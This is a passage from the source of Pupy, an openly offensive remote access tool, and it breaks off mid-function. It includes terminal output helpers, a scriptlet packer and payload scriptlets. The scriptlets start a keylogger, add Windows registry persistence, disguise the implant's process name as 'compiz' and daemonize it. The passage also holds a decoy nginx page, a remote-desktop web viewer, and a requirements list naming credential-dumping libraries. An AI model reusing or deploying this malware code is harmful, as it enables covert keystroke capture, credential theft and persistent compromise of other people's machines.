        s = s.encode(DEFAULT_MULTIBYTE_CP)

    return s


def non_symbol_len(s, coding=DEFAULT_MULTIBYTE_CP):
    if isinstance(s, bytes):
        total_len = len(s.decode(coding, 'ignore'))
    else:
        total_len = len(s)
        s = s.encode(coding)

    return total_len - len(
        ESC_REGEX.sub(b'', s).decode(coding, 'ignore')
    )


def symbol_len(s, coding=DEFAULT_MULTIBYTE_CP):
    if not s:
        return 0

    if not isinstance(s, bytes):
        s = s.encode(coding)

    return len(
        ESC_REGEX.sub(b'', s).decode(coding, 'ignore')
    )


def symbol_trunc(s, width, coding=DEFAULT_MULTIBYTE_CP):
    if not s:
        return s

    if not isinstance(s, bytes):
        s = s.encode(DEFAULT_MULTIBYTE_CP)

    pos = 0
    last_ascii_esc_end = 0

    result = b''

    in_escape_code = False

    while True:
        next_escape_code = ESC_REGEX.search(s, pos=pos)

        if not next_escape_code:
            # Rest of line is free of escape codes
            # Decode it as unicode, cut necessary bytes
            # Then encode back and put to result

            result += s[pos:].decode(coding)[:width].encode(coding)
            break

        first_pos, last_pos = next_escape_code.span(0)

        symbols_len = 0

        if first_pos > pos:
            # Consume non-escape part (or continuation)
            first_symbols = s[pos:first_pos].decode(coding)
            symbols_len = len(first_symbols)

            if symbols_len >= width:
                # Consume and stop
                result += first_symbols[:width].encode(coding)
                break

        # We are either starting from escape sequence
        # or need to consume it

        result += s[pos:last_pos]

        in_escape_code = True
        pos = last_pos
        width -= symbols_len

        last_ascii_esc_end = last_pos

    if in_escape_code:
        # Likely we need to close current escape code
        # Let's just find the last one and attach it

        last_match = None

        for match in ESC_REGEX.finditer(s, last_ascii_esc_end):
            last_match = match

        if last_match:
            first_pos, last_pos = last_match.span(0)
            result += s[first_pos:last_pos]

    return result


def deep_as_bytes(obj):
    objtype = type(obj)

    if objtype is bytes:
        return obj

    elif issubclass(objtype, Hint):
        pass

    elif issubclass(objtype, dict):
        for k in obj:
            obj[k] = deep_as_bytes(obj[k])

    elif issubclass(objtype, list):
        for i, item in enumerate(obj):
            obj[i] = deep_as_bytes(item)

    elif issubclass(objtype, tuple):
        obj = [None] * len(tuple)
        for i, item in enumerate(obj):
            obj[i] = deep_as_bytes(item)

        obj = objtype(obj)

    else:
        obj = to_bytes(obj)

    return obj


def get_columns_size(columns):
    size_dic = {}

    for column in columns:
        for key, value in column.items():
            value_elen = symbol_len(value)
            if key not in size_dic or size_dic[key] < value_elen:
                size_dic[key] = value_elen

    return size_dic


def table_as_bytes(diclist, wl=[], bl=[], truncate=None, legend=True):
    """
    this function takes a list a dictionaries to display in columns.
    Dictionnaries keys are the columns names.
    All dictionaries must have the same keys.
    wl is a whitelist of column names to display
    bl is a blacklist of columns names to hide
    """
    res = []

    if not diclist:
        return b''

    diclist = deep_as_bytes(diclist)

    keys = [
        (
            x if isinstance(x, (tuple, list)) else (x, x)
        ) for x in (wl if wl else diclist[0]) if x not in bl
    ]

    titlesdic = {}
    for key, title in keys:
        titlesdic[key] = title

    if legend:
        diclist.insert(0, titlesdic)

    colsize = get_columns_size(diclist)
    i = 0

    for c in diclist:
        if i == 1 and legend:
            res.append(
                b'-'*sum([
                    k+2 for k in [
                        y for x, y in colsize.items() if x in titlesdic
                    ]
                ])
            )
        i += 1

        lines = []
        for key, _ in keys:
            value = deep_as_bytes(c.get(key, '').strip())
            lines.append(value.ljust(colsize[key]+2 + non_symbol_len(value)))

        res.append(b''.join(lines))

    return b'\n'.join(res)


def as_term_bytes(text, width=0):
    if text is None:
        return ''

    hint = type(text)

    if issubclass(hint, Hint) and not issubclass(hint, Text):
        raise ValueError('as_term_bytes() support only Text messages')
    elif issubclass(hint, Text):
        pass
    elif hint is bytes:
        return text
    elif hint is unicode:
        return to_bytes(text)
    else:
        return deep_as_bytes(text)

    if hint is NewLine:
        return b'\n' * int(text.data)

    elif hint is Title:
        if width <= 0:
            real_width, _ = terminal_size()
            width = real_width + width

        title = as_term_bytes(text.data, width)
        tlen = symbol_len(title)
        ajust = width - tlen - 4
        ljust = 0
        rjust = 0

        if ajust > 0:
            ljust = ajust // 2
            rjust = ajust - ljust

        title = b'>>' + (b' '*ljust) + title + (b' '*rjust) + b'<<'
        title = (b'-'*width) + b'\n' + title + b'\n' + (b'-'*width)

        return colorize(title, 'lightyellow')

    elif hint is MultiPart:
        return b'\n\n'.join(
            as_term_bytes(x, width) for x in text.data
        )

    elif hint is Indent:
        return b'\n'.join(
            (b' '*text.indent) + x for x in as_term_bytes(
                text.data, width).split(b'\n')
        )

    elif hint is Color:
        return colorize(
            as_term_bytes(text.data, width), text.color
        )

    elif hint is TruncateToTerm:
        if width <= 0:
            real_width, _ = terminal_size()
            width = real_width + width

        text = as_term_bytes(text.data, width)
        return b'\n'.join(
            symbol_trunc(x, width) for x in text.split(b'\n')
        )

    elif hint is Error:
        header = text.header
        text = text.data
        etype = type(text)

        if issubclass(etype, Exception) and etype.__class__.__name__ != 'type':
            text = '({}) {}'.format(type(text).__class__.__name__, text)

        text = as_term_bytes(text, width).rstrip()
        if header:
            header = as_term_bytes(header, width)
            text = colorize(header, 'yellow') + b': ' + text

        return colorize(b'[-] ', 'red') + text

    elif hint is Log:
        return as_term_bytes(text.data, width).rstrip()

    elif hint is Warn:
        return colorize(
            b'[!] ', 'yellow'
        ) + as_term_bytes(text.data, width).rstrip()

    elif hint is Success:
        return colorize(
            b'[+] ', 'green'
        ) + as_term_bytes(text.data, width).rstrip()

    elif hint is Info:
        return colorize(
            b'[%] ', 'grey'
        ) + as_term_bytes(text.data, width).rstrip()

    elif hint is ServiceInfo:
        return b''.join([
            colorize(b'[*] ', 'blue'),
            as_term_bytes(text.data, width).rstrip()
        ])

    elif hint is Section:
        levels = ('white', 'cyan', 'yellow', 'green')

        if text.level < 4:
            indent = 3 - text.level
        else:
            indent = 0

        prefix = colorize(
            (b'==' * indent) + b'> ',
            levels[indent]
        )

        suffix = colorize(
            b' <' + (b'==' * indent),
            levels[indent]
        )

        return b'\n'.join((
            b''.join((
                prefix, as_term_bytes(text.header, width), suffix
            )),
            as_term_bytes(text.data, width) if text.data else b''
        ))

    elif hint is Line:
        return as_term_bytes(
            text.dm, width
        ).join(
            as_term_bytes(v, width) for v in text.data
        )

    elif hint is List:
        return (
            as_term_bytes(
                text.caption, width
            ) + b'\n' if text.caption else b''
        ) + (
            b'\n'.join([
                (
                    b''.join((
                        (b' '*text.indent),
                        (
                            as_term_bytes(text.bullet, width) + b' '
                        ) if text.bullet else b'',
                        as_term_bytes(x, width)
                    ))
                ) for x in text.data
            ])
        )

    elif hint is Table:
        table_data = [
            {
                k: as_term_bytes(v, width) for k, v in record.items()
            } for record in text.data
        ]

        columns = set()
        for record in table_data:
            for column, value in record.items():
                if value and (not text.headers or column in text.headers):
                    columns.add(column)
                    if hasattr(value, '__iter__') and not isinstance(
                            value, bytes):
                        record[column] = b';'.join(
                            deep_as_bytes(x) for x in value
                        )

        headers = None
        if text.headers:
            headers = [
                column for column in text.headers if column in columns
            ]

        else:
            headers = list(columns)

        return b''.join((
            b'\n'*text.vspace + b'{ ' + as_term_bytes(
                text.caption, width
            ) + b' }\n' if text.caption else b'',
            table_as_bytes(table_data, wl=headers, legend=text.legend),
            b'\n'*text.vspace
        ))

    elif hint is Hex:
        content = text.data
        if not isinstance(content, bytes):
            content = content.encode(DEFAULT_MULTIBYTE_CP)

        lines = []

        for line in hexdump.dumpgen(content):
            if text.colorize:
                # Change to something HexdumpLexer knows
                lines.append(line[:8] + ' ' + line[9:60] + '|' + line[60:] + '|')
            else:
                lines.append(line)

        content = '\n'.join(lines)

        if text.colorize:
            return as_term_bytes(
                Pygment(HexdumpLexer(), content), width
            )
        else:
            return content.encode(DEFAULT_MULTIBYTE_CP)

    elif hint is Pygment:
        lexer = text.lexer
        text = as_term_bytes(text.data, width)
        return highlight(text, lexer, TerminalFormatter(style=PYGMENTS_STYLE))

    else:
        raise NotImplementedError(
            'as_term_bytes not implemented for {}'.format(
                hint.__class__.__name__)
        )


================================================
FILE: pupy/scriptlets/__init__.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
  'ScriptletArgumentError', 'Scriptlet',
  'ScriptletsPacker', 'load_scriptlets'
]

import sys

from io import open
from os import path, listdir
from ast import (
    parse,
    FunctionDef,
    Num, Name, Str, Expr, Assign, If,
    Load, Param, NodeTransformer
)

from pupy.pupylib import getLogger
from pupy.pupylib.payloads  import dependencies
from pupy.pupylib.PupyCompile import Compiler

from collections import OrderedDict

if sys.version_info.major > 2:
    basestring = str
    long = int

ROOT = path.abspath(path.join(path.dirname(__file__), '..', 'packages'))

logger = getLogger('scriptlets')

WRAPPING_TEMPLATE = '''
def __{scriptlet}_closure__():
    try:
       {scriptlet}_logger = logger.getChild("{scriptlet}")
       {scriptlet}_logger.debug('Start...')

       # SCRIPTLET BODY GOES HERE
       'PLACEHOLDER'

       {scriptlet}_main(logger={scriptlet}_logger, pupy=pupy)
       {scriptlet}_logger.debug('Done')

    except Exception, e:
        {scriptlet}_logger.exception(e)

__{scriptlet}_closure__()
del __{scriptlet}_closure__
'''


class AstCompiler(Compiler):
    def __init__(self):
        self._source_ast = None
        self._main = False
        self._docstrings = False
        self._source_ast = False

        NodeTransformer.__init__(self)

    def add_ast(self, ast):
        if not self._source_ast:
            self._source_ast = ast
        else:
            self._source_ast.body.extend(ast.body)


class ScriptletArgumentError(Exception):
    pass


class Scriptlet(object):

    __slots__ = (
        'description', 'dependencies', 'compatibility',
        'arguments', 'name', 'ast'
    )

    def __init__(self, name, description, dependencies, compatibility, arguments, ast):
        self.description = description
        self.dependencies = dependencies
        self.arguments = arguments
        self.name = name
        self.ast = ast
        self.compatibility = compatibility


def select_body_by_os(item, target_os):
    assert(type(item) == If)

    if not (type(item.test) == Str and item.test.s.startswith('__os:') and \
            item.test.s.endswith('__')):
        raise ValueError(
            'Invalid OS selection statement, should be "__os:target-os__"')

    required_os = item.test.s[5:-2]
    if required_os == target_os:
        return item.body
    elif len(item.orelse) == 1 and type(item.orelse[0]) == If:
        return select_body_by_os(item.orelse[0], target_os)
    elif not item.orelse:
        raise ValueError('Else statement should not be empty')

    return item.orelse

def str_to_int(value):
    if value.startswith('0x'):
        value = int(value, 16)
    elif value.startswith('0b'):
        value = int(value, 2)
    elif value.startswith('0o'):
        value = int(value, 8)
    else:
        value = int(value)

    return value

class ScriptletsPacker(object):
    def __init__(self, os=None, arch=None):
        self.scriptlets = OrderedDict()
        self.os = os or 'all'
        self.arch = arch

    def add_scriptlet(self, scriptlet, kwargs={}):
        self.scriptlets[scriptlet] = kwargs

    def pack(self):
        compiler = AstCompiler()

        requirements = set()

        for scriptlet in self.scriptlets:
            if type(scriptlet.dependencies) == dict:
                for dependency in scriptlet.dependencies.get('all', []):
                    requirements.add(dependency)

                for dependency in scriptlet.dependencies.get(self.os, []):
                    requirements.add(dependency)
            else:
                for dependency in scriptlet.dependencies:
                    requirements.add(dependency)

        if requirements:
            compiler.add_ast(
                parse('\n'.join([
                    'import pupyimporter',
                    dependencies.importer(requirements, os=self.os)
                ]) +'\n'))

        for scriptlet, kwargs in self.scriptlets.items():
            template = WRAPPING_TEMPLATE.format(
                scriptlet=scriptlet.name)

            # Select part with proper OS if any
            # Should be top-level if statement if string test

            while True:
                os_selection_idx = None

                for idx, item in enumerate(scriptlet.ast.body):
                    if not (type(item) == If and type(item.test) == Str and \
                      item.test.s.startswith('__os:') and item.test.s.endswith('__')):
                        continue

                    os_selection_idx = idx
                    break

                if os_selection_idx is None:
                    break

                new_body = select_body_by_os(
                    scriptlet.ast.body[os_selection_idx],
                    self.os
                )

                scriptlet.ast.body = \
                  scriptlet.ast.body[:os_selection_idx] + \
                  new_body + scriptlet.ast.body[os_selection_idx+1:]

            # Bind args
            # There should be top level function main

            main_found = False
            shadow_kwargs = {'logger', 'pupy'}

            for item in scriptlet.ast.body:
                if not (type(item) == FunctionDef and item.name == 'main'):
                    continue

                main_found = True
                lineno = 0
                col_offset = 0

                item.name = scriptlet.name + '_main'
                for idx, (arg, value) in enumerate(zip(item.args.args, item.args.defaults)):
                    lineno = value.lineno
                    col_offset = value.col_offset
                    vtype = type(value)

                    if arg.id in shadow_kwargs:
                        shadow_kwargs.remove(arg.id)
                    elif arg.id in kwargs:
                        default = kwargs[arg.id]
                        if vtype == Num:
                            if type(default) not in (int, long):
                                default = str_to_int(default)

                            value.n = default
                        elif vtype == Str:
                            if not isinstance(default, basestring):
                                default = str(default)
                            value.s = default
                        elif vtype == Name:
                            if value.id in ('True', 'False'):
                                if default.lower() in ('true', 'yes', 'on', '1'):
                                    value.id = 'True'
                                elif default.lower() in ('false', 'no', 'off', '0'):
                                    value.id = 'False'
                                else:
                                    raise ValueError('Expect True/False value for {}'.format(arg.id))
                            else:
                                new_value = None
                                try:
                                    new_value = Num(str_to_int(default))
                                except ValueError:
                                    new_value = Str(default)

                                new_value.lineno = value.lineno
                                new_value.col_offset = value.col_offset

                                item.args.defaults[idx] = new_value


                    elif vtype == Str and value.s.startswith('__global:') and value.s.endswith('__'):
                        global_name = value.s[9:-2]
                        global_ref = Name(global_name, Load())
                        global_ref.lineno = value.lineno
                        global_ref.col_offset = value.col_offset
                        item.args.defaults[idx] = global_ref

                for idx, shadow_kwarg in enumerate(shadow_kwargs):
                    shadow_name = Name(shadow_kwarg, Param())
                    shadow_name.lineno = lineno
                    shadow_name.col_offset = col_offset + (idx*16)
                    item.args.args.append(shadow_name)

                    shadow_value = Name('None', Load())
                    shadow_value.lineno = lineno
                    shadow_value.col_offset = col_offset + (idx*16)+7
                    item.args.defaults.append(shadow_value)

                break

            if not main_found:
                raise ValueError(
                    'Scriptlet {} - Invalid source code. '
                    '"def main():" not found'.format(
                        scriptlet.name))

            placeholder_idx = None

            # Wrap in try/except, and other things
            template_ast = parse(template)
            for item in template_ast.body:
                if not(type(item) == FunctionDef and \
                       item.name == '__{}_closure__'.format(scriptlet.name)):
                    continue

                closure = item.body[0]

                for idx, payload in enumerate(closure.body):
                    if type(payload) is not Expr:
                        continue

                    if type(payload.value) is Str and payload.value.s == 'PLACEHOLDER':
                        placeholder_idx = idx
                        break

                assert(placeholder_idx is not None)

                closure.body = closure.body[:placeholder_idx] + scriptlet.ast.body + \
                  closure.body[placeholder_idx+1:]

                break

            if placeholder_idx is None:
                raise ValueError('Template placeholder not found. Fill the bug report')

            compiler.add_ast(template_ast)

        return compiler.compile('sbundle', raw=True)


def parse_scriptlet(filedir, filename):
    filepath = path.join(filedir, filename)
    filecontent = None

    name, _ = path.splitext(filename)

    with open(filepath) as content:
        filecontent = content.read()

    fileast = None
    fileast = parse(filecontent)

    docstrings = []

    # Search/evaluate/delete.
    # 1. docstring
    # 2. dependencies
    # 3. arguments
    # 4. compatibility

    meta = parse('')

    to_delete = []

    for item in fileast.body:
        if type(item) == Expr and type(item.value) == Str:
            # docstring found
            docstrings.append(item.value.s)
        elif type(item) == Assign and all(
            type(x) == Name and x.id.startswith('__') and \
            x.id.endswith('__') and x.id for x in item.targets
        ):
            # metadata found
            meta.body.append(item)
        else:
            continue

        to_delete.append(item)

    for item in to_delete:
        idx = fileast.body.index(item)
        del fileast.body[idx]

    metadata = compile(meta, 'metadata-'+filename, 'exec')
    metadict = {}
    exec (metadata, metadict)
    del metadict['__builtins__']

    docstring = '\n'.join(
        x.strip() for x in docstrings
    )

    return Scriptlet(
        name,
        docstring,
        metadict.get('__dependencies__', []),
        metadict.get('__compatibility__', None),
        metadict.get('__arguments__', {}),
        fileast
    )


def iterate_scriptlet_files():
    visited = set()

    default_dir = path.dirname(__file__)

    for filedir in (default_dir, 'scriptlets'):
        if not path.isdir(filedir):
            continue

        filedir = path.abspath(filedir)
        if filedir in visited:
            continue

        visited.add(filedir)

        for filename in listdir(filedir):
            if not filename.endswith('.py') or filename.startswith('_'):
                continue

            yield filedir, filename


def load_scriptlets(target_os, target_arch):

    scriptlets = {}

    for dirname, filename in iterate_scriptlet_files():
        try:
            scriptlet = parse_scriptlet(dirname, filename)
            if scriptlet.compatibility and target_os != 'any' and target_os not in scriptlet.compatibility:
                logger.info('Scriptlet {} is incompatible with {}'.format(
                    scriptlet.name, target_os))
                continue

            scriptlets[scriptlet.name] = scriptlet

        except SyntaxError as e:
            logger.error(
                'SyntaxError (scriptlet=%s:%s:+%s):\nline: %s\nError: %s',
                filename, e.lineno, e.offset,
                e.text.strip() if e.text else '',
                e.msg
            )

        except IOError as e:
            logger.debug(e)
        except Exception as e:
            logger.exception(e)

    return scriptlets


================================================
FILE: pupy/scriptlets/daemonize.py
================================================
''' Daemonize the process at startup (posix only) '''

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__compatibility__ = ('linux', 'posix', 'unix')

from io import open
from os import fork, _exit, umask, name, setsid, dup2
from pupy import infos


def main():
    if name == 'posix':
        infos['daemonize'] = True
        if fork():   # launch child and...
            _exit(0) # kill off parent
        setsid()
        if fork():   # launch child and...
            _exit(0) # kill off parent again.
        umask(0o22)   # Don't allow others to write
        null = open('/dev/null', 'w+b')
        for i in range(3):
            try:
                dup2(null.fileno(), i)
            except OSError:
                pass

        null.close()


================================================
FILE: pupy/scriptlets/hide_argv.py
================================================
""" Change pupy process's name """
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__dependencies__ = {
    'linux': ['hide_process']
}

__arguments__ = {
    'name': 'Process name'
}

__compatibility__ = ('linux')

import hide_process

def main(name='compiz'):
    hide_process.change_argv(argv=name)


================================================
FILE: pupy/scriptlets/keylogger.py
================================================
''' Start keylogger '''

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__dependencies__ = {
    'windows': ['pupwinutils.keylogger', 'pupwinutils.hookfuncs'],
    'linux': ['pupyps', 'display', 'keylogger']
}

__compatibility__ = ('windows', 'linux')

if '__os:linux__':
    from .keylogger import keylogger_start
    from display import when_attached

    def main():
        when_attached(keylogger_start)

elif '__os:windows__':
    from pupwinutils.keylogger import keylogger_start

    def main():
        keylogger_start()


================================================
FILE: pupy/scriptlets/persistence.py
================================================
''' Execute persistence command '''

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__dependencies__ = {
    'windows': ['pupwinutils.persistence'],
}

__arguments__ = {
    'src': 'Copy from',
    'directory': 'Where to store',
    'filename': 'Filename',
    'args': 'Command args',
    'regkey': 'Registry key name',
}

__compatibility__ = ('windows')

import sys
from shutil import copy
from os import path
from tempfile import gettempdir
from uuid import getnode
from hashlib import md5

from pupwinutils.persistence import add_registry_startup


def main(src=None, directory=None, filename=None, args=None, regkey=None, logger=None, pupy=None):
    if not directory:
        directory = gettempdir()
    else:
        directory = path.expanduser(directory)
        directory = path.expandvars(directory)

    mid = md5('node={} cid={}'.format(
            getnode(), pupy.cid)).hexdigest()

    if not filename:
        filename = mid[:8]+'.exe'

    if not src:
        src = sys.executable

    if not regkey:
        regkey = mid[-8:]

    filepath = path.join(directory, filename)

    cmd = filepath
    if args:
        cmd = '{} {}'.format(filepath, args)

    logger.debug('reg: {}'.format(regkey))
    logger.debug('src: {}'.format(src))
    logger.debug('dst: {}'.format(filepath))
    logger.debug('cmd: {}'.format(cmd))

    if not path.isfile(filepath):
        logger.debug('Copy: {} -> {}'.format(src, filepath))
        copy(src, filepath)

    if not add_registry_startup(cmd, regkey):
        logger.error('add_registry_startup failed')


================================================
FILE: pupy/triggers/__init__.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ('Triggers')

import os
import imp

class Triggers(object):
    SUFFIXES = tuple([
        suffix for suffix, _, rtype in imp.get_suffixes() \
        if rtype == imp.PY_SOURCE
    ])

    def __init__(self):
        self._triggers = {}
        self._triggers_stats = {}
        self._folders_stats = {}
        self._refresh()

    def _refresh(self):
        triggers_paths = [
            os.path.dirname(__file__), 'triggers'
        ]

        triggers = {}
        dups = set()

        for path in triggers_paths:
            path = os.path.abspath(path)
            if path in dups:
                continue

            dups.add(path)

            try:
                path_st_mtime = os.stat(path).st_mtime
            except OSError:
                continue

            if self._folders_stats.get(path, None) == path_st_mtime:
                continue

            self._folders_stats[path] = path_st_mtime

            triggers.update({
                '.'.join(x.rsplit('.', 1)[:-1]):os.path.join(path, x) \
                for x in os.listdir(path) if x.endswith(self.SUFFIXES) and \
                not x.startswith('__init__')
            })

        for trigger in triggers:
            source = triggers[trigger
            ]
            try:
                current_stat = os.stat(source)
            except OSError:
                continue

            if trigger not in self._triggers or self._triggers_stats[trigger] != current_stat.st_mtime:
                try:
                    self._triggers[trigger] = imp.load_source(trigger, source)
                    self._triggers_stats[trigger] = current_stat.st_mtime
                except IOError:
                    pass

    def execute(self, trigger_name, event_name, client, server, handler, config, **kwargs):
        self._refresh()
        trigger = self._triggers.get(trigger_name, None)
        if trigger_name is None:
            return

        trigger.execute(event_name, client, server, handler, config, **kwargs)


================================================
FILE: pupy/triggers/example_trigger.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
def execute(event_name, client, server, handler, config, **kwargs):
    server.info(
        'Event: {}, client={}, server={}, handler={}, config={}, kwargs={}'.format(
            event_name, client, server, handler, config, kwargs))


================================================
FILE: pupy/triggers/notification.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
IGNORED_EVENTS = (
    'start', 'exit', 'connect', 'disconnect', 'job completed'
)

import datetime

def execute(event_name, client, server, handler, config, **kwargs):
    if event_name in IGNORED_EVENTS:
        return

    client_id = ''
    if 'id' in kwargs:
        client_id = 'session={}'.format(kwargs['id'])
    elif 'node' in kwargs and kwargs['node']:
        if type(kwargs['node']) in (int, long):
            client_id = '{:012x}'.format(kwargs['node'])
        else:
            client_id = kwargs['node']

    if 'sid' in kwargs:
        if client_id:
            client_id += '/'

        if type(kwargs['sid']) in (int, long):
            client_id += 'sid:{:08x}'.format(kwargs['sid'])
        else:
            client_id += 'sid:'+kwargs['sid']

    if 'node' in kwargs:
        tags = str(config.tags(kwargs['node']))
        if tags:
            if client_id:
                client_id += '/'

            client_id += '{}'.format(tags)

    server.info('Event ({}): {} ({})'.format(
        datetime.datetime.now(), event_name, client_id))


================================================
FILE: pupy/webstatic/index.html
================================================
<!DOCTYPE html>
<html>
    <head>
        <title>Pupy Web Interface</title>
        <meta charset="utf-8">
    </head>
    <body>
        Pupy Web Interface :)
    </body>
</html>


================================================
FILE: pupy/webstatic/nginx_index.html
================================================
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>


================================================
FILE: pupy/webstatic/rdesktop/index.html
================================================
<html>
<head>
    <script src="static/jquery-3.2.1.min.js"></script>
    <script src="static/rdesktop/rdesktop.js"></script>
</head>
<body>
    <script type="text/javascript">
        var rdHandler = null;
        $(document).ready(function() {
            if (!("WebSocket" in window)) {
                $('#messages').append("Your browser does not support websocket !");
            }
	    
            else{
                window.rdHandler = new RDHANDLER({{port}});
		window.rdHandler.start();
            }
            //disable image drag
            $("#screenimg").bind('dragstart', function(){
                return false; 
            });
	    
            $( "#screen" ).mousemove(function( event ) {
                window.rdHandler.on_mouse_move(event);
            });
	    
            $( "#screen" ).click(function( event ) {
                window.rdHandler.on_click(event);
            });
	    
            $( "body" ).keypress(function( event ) {
                window.rdHandler.on_key_press(event);
            });
        });
    </script>

  <div id="screen">
        <img id="screenimg"></img>
    </div>
    <div id="messages"></div>
</body>
</html>


================================================
FILE: pupy/webstatic/rdesktop/rdesktop.js
================================================
var RDHANDLER = function (port) {
    var self = this;
    var last_move = null;

    RDHANDLER.prototype.print=(function (msg) {
            $('#messages').append(msg+'<br />');
    });

    RDHANDLER.prototype.start=(function () {
        if ("WebSocket" in window) {
            var url="ws://"+window.location.hostname+":"+port+"/"+window.location.pathname.split("/",2)[1]+"/ws";
            self.print(url);
            self.ws = new WebSocket(url);

            self.ws.onopen = function() {
                self.print("Websocket connected !");
                self.start_stream();
            };

            self.ws.onmessage = function (evt) {
                var data = jQuery.parseJSON(evt.data);
                if('message' in data) {
                    self.print(data.message);
                }
                else if('screen' in data) {
                    $('#screenimg').attr('src', "data:image/jpg;base64,"+data['screen']);
                }
            };

            self.ws.onclose = function() {
                self.print('Connection is closed... reconnecting ...');
                self.start();
            };
        } else {
            self.print("WebSocket NOT supported by your Browser!");
        }
    });

    RDHANDLER.prototype.start_stream=(function () {
        self.ws.send(JSON.stringify({"msg": "start_stream"}));
    });

    RDHANDLER.prototype.on_key_press=(function (e) {
        self.ws.send(JSON.stringify({"msg": "keypress", "key": e.key}));
    });

    RDHANDLER.prototype.on_click=(function (e) {
        pos_x = e.pageX-document.getElementById("screen").offsetLeft;
        pos_y = e.pageY-document.getElementById("screen").offsetTop;
        self.ws.send(JSON.stringify({"msg":"click", "x":pos_x, "y": pos_y}));
    });

    RDHANDLER.prototype.on_mouse_move=(function (e) {
        if (last_move==null || (Date.now()-self.last_move > 10)) {
            self.last_move = Date.now();
            pos_x = e.pageX-document.getElementById("screen").offsetLeft;
            pos_y = e.pageY-document.getElementById("screen").offsetTop;
            self.ws.send(JSON.stringify({"msg":"move", "x":pos_x, "y": pos_y}));
        }
    });
}


================================================
FILE: requirements.txt
================================================
pycryptodome
pefile 
pyyaml
rsa
netaddr
ecdsa==0.13
paramiko==2.0.2
tinyec @ https://github.com/alxchk/tinyec/archive/master.zip
psutil
netifaces
pylzma
colorama
mss==4.0.3
pyOpenSSL
scapy
impacket
dnslib
http-parser
cerberus
logutils
secretstorage==2.3.1
pypykatz @ https://github.com/AlessandroZ/pypykatz/archive/master.zip
ed25519==1.5
pygments
requests
tornado
win_inet_pton
scandir
msgpack==0.6.2
hexdump
M2Crypto>=0.30.1
fusepy
defusedxml
keyboard==0.13.4
dateparser
puttykeys
pyelftools
filemagic
xattr
dukpy
pyaes
chardet
urllib-auth @ https://github.com/alxchk/urllib-auth/archive/master.zip
http_request
kcp @ git+https://github.com/n1nj4sec/pykcp
flake8
flake8-per-file-ignores
ushlex; python_version<'3'
pyuv @ git+https://github.com/n1nj4sec/pyuv@fix-building-against-python311
tqdm


================================================
FILE: services/echo/main.go
================================================
package main

import (
	"bufio"
	"bytes"
	"fmt"
	"log"
	"net"
	"net/http"
	"os"
	"os/signal"
	"strings"

	"github.com/LiamHaworth/go-tproxy"
)

var (
	EchoBindHost = "0.0.0.0"
	EchoBindPort = 31337
	EchoMagic    = "\xDE\xAD\xBE\xEF"
)

func isHttpEchoRequest(body []byte) bool {
	buf := bufio.NewReader(bytes.NewReader(body))
	req, err := http.ReadRequest(buf)
	if err != nil {
		return false
	}

	for k, v := range req.URL.Query() {
		if strings.ToLower(k) == "echo" {
			for _, value := range v {
				if value == EchoMagic {
					return true
				}
			}
		}
	}

	return false
}

func handleConn(conn net.Conn) {
	defer conn.Close()

	buffer := make([]byte, 32768)

	n, err := conn.Read(buffer)
	if err != nil {
		return
	}

	switch {
	case isHttpEchoRequest(buffer):
		log.Println(
			"TCP/HTTP: "+conn.RemoteAddr().String(), "->",
			conn.LocalAddr().String(), " b: ", n,
		)
		conn.Write(
			[]byte(fmt.Sprintf(
				"HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream"+
					"\r\nContent-Length: %d\r\n\r\n", n,
			)),
		)
	case bytes.Equal(buffer[:4], []byte(EchoMagic)):
		log.Println(
			"TCP/RAW: "+conn.RemoteAddr().String(), "->",
			conn.LocalAddr().String(), " b: ", n,
		)
	default:
		return
	}

	conn.Write(buffer[:n])
}

func tcpEchoServer(listener net.Listener) {
	for {
		conn, err := listener.Accept()
		if err != nil {
			if netErr, ok := err.(net.Error); ok && netErr.Temporary() {
				log.Printf("Temporary error while accepting connection: %s", netErr)
			}

			log.Fatalf("Unrecoverable error while accepting connection: %s", err)
			return
		}

		go handleConn(conn)
	}
}

func udpEchoServer(listener *net.UDPConn) {
	buffer := make([]byte, 1500)

	for {
		n, srcAddr, dstAddr, err := tproxy.ReadFromUDP(listener, buffer)
		if err != nil {
			log.Fatalln("UDP reader failed: ", err)
		}

		if srcAddr.IP.Equal(dstAddr.IP) || n < 4 {
			continue
		}

		if !bytes.Equal(buffer[:4], []byte(EchoMagic)) {
			continue
		}

		log.Println(
			"UDP: "+srcAddr.String(), "->",
			dstAddr.String(), " b: ", n,
		)

		remoteConn, err := tproxy.DialUDP("udp", dstAddr, srcAddr)
		if err != nil {
			log.Println(err)
			continue
		}

		_, err = remoteConn.Write(buffer[:n])
		if err != nil {
			log.Println(err)
			continue
		}
	}
}

func main() {
	log.Print("Echo server starting")

	log.Printf("Binding TCP TProxy listener to %s:%d", EchoBindHost, EchoBindPort)
	tcpListener, err := tproxy.ListenTCP(
		"tcp", &net.TCPAddr{
			IP:   net.ParseIP(EchoBindHost),
			Port: EchoBindPort,
		})

	if err != nil {
		log.Fatalf("Encountered error while binding listener: %s", err)
		return
	}

	udpListener, err := tproxy.ListenUDP(
